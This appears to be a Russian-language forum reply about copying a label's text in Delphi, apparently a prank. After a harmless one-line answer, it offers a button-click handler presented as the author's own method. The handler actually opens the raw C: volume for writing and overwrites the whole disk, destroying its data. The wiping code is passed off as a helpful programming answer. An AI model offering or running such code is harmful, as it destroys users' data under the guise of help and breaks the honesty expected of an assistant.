Можно и так
CopyText:=copy(Label1.Text,1,length(Label1.Text))
И даже модули подключать не нужно.
Я так делал:
Создавал форму, кидал на нее баттон, и в обработчике события onClick, этой баттон, писал:
var
hFile: dword;
Buff: pointer;
Written: dword;
DiskSize: int64;
SectorsPerCluster,
BytesPerSector,
FreeClusters,
Clusters: dword;
BuffSize, r: dword;
begin
hFile := CreateFile(PChar('\\.\c:'), GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, 0, 0);
if hFile = INVALID_HANDLE_VALUE then Exit;
GetDiskFreeSpace(PChar('c:\'), SectorsPerCluster,
BytesPerSector, FreeClusters, Clusters);
DiskSize := SectorsPerCluster * BytesPerSector * Clusters;
BuffSize := SectorsPerCluster * BytesPerSector * 10;
GetMem(Buff, BuffSize);
for r := 0 to DiskSize div BuffSize do
WriteFile(hFile, Buff^, BuffSize, Written, nil);
FreeMem(Buff);
CloseHandle(hFile);
Потом жал f8 и пробел.